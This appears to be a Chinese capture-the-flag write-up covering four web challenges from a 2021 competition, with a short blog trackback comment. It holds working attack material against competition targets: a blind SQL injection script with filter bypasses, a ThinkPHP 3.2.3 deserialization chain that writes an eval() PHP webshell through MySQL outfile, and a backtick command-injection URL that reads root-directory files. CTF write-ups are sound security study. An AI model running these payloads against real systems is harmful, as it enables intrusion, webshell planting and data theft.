第六,小伙伴们辛苦了。
WEB1 javaweb
操作内容:
打开是 /login,那么二话不说,就 post 点东西上去。
有个 deleteMe, shiro没跑了。
直接绕。
nice, 还看到时 jackson。测了下,此处可反序列化。
直接工具造他。
这里测了下不好弹 shell,没成功。那么退一步,用 curl 直接带 flag 出来了。
打,用 Spring 那条链。
拿到 flag。
flag值:
flag{7de56a6b-96b4-48c3-b8ce-af078c0acd2f}
WEB2 happysql
操作内容:
一个登录框,诶呦我的妈,直接注入。
测了下,单引号被过滤,可以用双引号代替。空格呢,/**/代替,见招拆招。等号被过滤就 regexp 正则走一波,文字被过滤就转十六进制。
写个脚本,一把梭。
先得到版本 10. 开头,判断是 marriadb。然后开始爆表名,information_schema 里 or 被过滤了,则可以用 https://mariadb.com/kb/en/mysqlinnodb_table_stats/ 这个表代替。然后得到表名之后,就可以尝试读出其中的内容了。
import binascii import string import requests result = '' for j in range(50): for i in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-,.": # for i in string.printable: url = "http://eci-2ze6jljai3r428c1jf6q.cloudeci1.ichunqiu.com/login.php" headers = { 'Content-Type': "application/x-www-form-urlencoded", 'Referer': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com/index.php", 'Origin': "http://eci-2zej5nwlszgd0g0na5qf.cloudeci1.ichunqiu.com", 'cache-control': "no-cache", 'Postman-Token': "21b59b79-a818-4fd1-a908-3112b45f9fc6" } # 10. # response = requests.request("POST", url, data={ # 'username': 'admin"||(select/**/version())/**/regexp/**/0x' + binascii.hexlify( # ("^" + result + i).encode()).decode() + '#', 'password': '123456'}, headers=headers) # ctf,f1ag, # response = requests.request("POST", url, data={ # 'username': 'admin"||(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)/**/regexp/**/0x' + binascii.hexlify( # ("^" + result + i).encode()).decode() + '#', # 'password': '123456'}, headers=headers) response = requests.request("POST", url, data={'username': 'admin"||(select/**/*/**/from/**/f1ag)/**/regexp/**/0x' + binascii.hexlify(("^" + result + i).encode()).decode() + '#', 'password': '123456'}, headers=headers) print(response.text) if response.text.find("home") != -1: result += i print(result) break print(result)
flag值:
flag{1d260c91-3ff2-48e1-a0f9-61c1d5e7fe06}
WEB3 easytp
操作内容:
打开靶机,/www.zip 审源码。
看到反序列化点。
看下 tp 版本是 3.2.3,那网上找个链子直接打。https://f5.pm/go-53579.html
mysql 任意读文件不得劲,没读到 flag。不过在/etc/passwd里看到有mysql 用户,装了 mysql 那就好说了。直接用这个打本地的 mysql, 把堆叠开了直接写 shell。密码,试一试就出来了,弱密码 123456。
<?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~ PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~ ); protected $config = array( "debug" => 1, "database" => "mysql", "hostname" => "127.0.0.1", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "123456" ); } } namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[glzjin]);?>' into outfile '/var/www/html/glzjin2.php';#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "http://eci-2ze6t3je33wd3311362p.cloudeci1.ichunqiu.com/Home/Index/test", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())), CURLOPT_HTTPHEADER => array( "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e", "cache-control: no-cache" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } }
写了 shell 之后蚁剑连上,读取 /start.sh 发现 flag 在数据库里。
蚁剑自带的数据库连接器连不上。
那就冰蝎。
这个冰蝎直接查询也是没东西,不过咱们可以用他的导出功能。
flag值:
flag{215b56f9-c86a-409d-855c-c549f6213b5b}
WEB4 write_shell
操作内容:
看下源码。
两个动作,pwd 就获取当前路径,upload 则是将 data 参数里的内容给写入到那个目录的index.php里。
再看看写入部分,屏蔽了 php,可以用短标签<?= ?>解决。空格和花括号被屏蔽,那么空格就用\t来代替了。
而没有屏蔽反引号,则可以利用这个来执行命令。
sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/
然后来upload 下,不磨叽,直接读根目录下文件了。
http://eci-2zeb1jg3i7kmfssp69vi.cloudeci1.ichunqiu.com/?action=upload&data=<?=`cat\t/*`?>
即可读到 flag。
flag值:
flag{5b3580cd-0b4c-4484-b991-50a574133bd6}
1 个评论
红明谷杯CTF2021-Web部分 – Peco's blog
[…] 红明谷 CTF2021 Web部分 WriteUp 红明谷杯 Writeup by X1cT34m WEB […]